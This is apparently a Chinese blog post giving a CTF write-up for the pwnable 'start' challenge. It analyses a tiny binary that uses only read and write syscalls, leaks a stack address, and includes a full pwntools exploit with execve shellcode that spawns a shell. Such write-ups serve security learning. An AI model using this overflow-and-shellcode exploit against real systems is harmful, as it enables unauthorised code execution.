【pwn】pwnable_start --只有read和write函数的getshell

首先查一下程序的保护情况

保护全关!!!

然后看ida逻辑

ida的结果很简洁,只有一段汇编代码,我们再来看看nc情况

现在我们来分析一下汇编代码

 mov     ecx, esp                        ; addr
.text:08048089 B2 14                         mov     dl, 14h                         ; len
.text:0804808B B3 01                         mov     bl, 1                           ; fd
.text:0804808D B0 04                         mov     al, 4
.text:0804808F CD 80                         int     80h                             ; LINUX - sys_write
.text:0804808F
.text:08048091 31 DB                         xor     ebx, ebx
.text:08048093 B2 3C                         mov     dl, 3Ch ; '<'
.text:08048095 B0 03                         mov     al, 3
.text:08048097 CD 80                         int     80h                             ; LINUX -
.text:08048097
.text:08048099 83 C4 14                      add     esp, 14h
.text:0804809C C3                            retn

这里就是用系统调用了read函数和write函数,然后看这个,写入地址都是esp,然后再根据add     esp, 14h可以发现偏移是0x14

这里的我是考虑用shellcode打,但是我们得有一个地方写入shellcode,也就是说我们得知道写入shellcode的地址

一开始看这段汇编代码,其实并没有可以泄露栈地址的地方,我们动调看一下

可以发现返回地址下面有存着栈地址,我们可以将它泄露出来

io.recvuntil(b"CTF:")
addr=0x8048087
payload=b'a'*0x14+p32(addr)
io.send(payload)
stack_addr=u32(io.recv(4))
首先0x8048087是上面08048087 89 E1                         mov     ecx, esp 的地址,该payload的目的其实就是跳回来再执行write函数,只不过此时的esp已经发生了变化,此时esp指向的内容就是上面标记的栈地址
shellcode=b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload=b'a'*0x14+p32(stack_addr+0x14)+shellcode
io.send(payload)
io.interactive()
 接着我们再次来到read函数,往栈上写入shellcode,然后继续构造payload,控制程序跳转到shellcode处进行getshell
完整exp:
io.recvuntil(b"CTF:")
addr=0x8048087
payload=b'a'*0x14+p32(addr)
io.send(payload)
stack_addr=u32(io.recv(4))
print(hex(stack_addr))
shellcode=b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'

payload=b'a'*0x14+p32(stack_addr+0x14)+shellcode
io.send(payload)
io.interactive()
 
posted @ 2024-02-04 20:10  GGBomb  阅读(10)  评论(0编辑  收藏  举报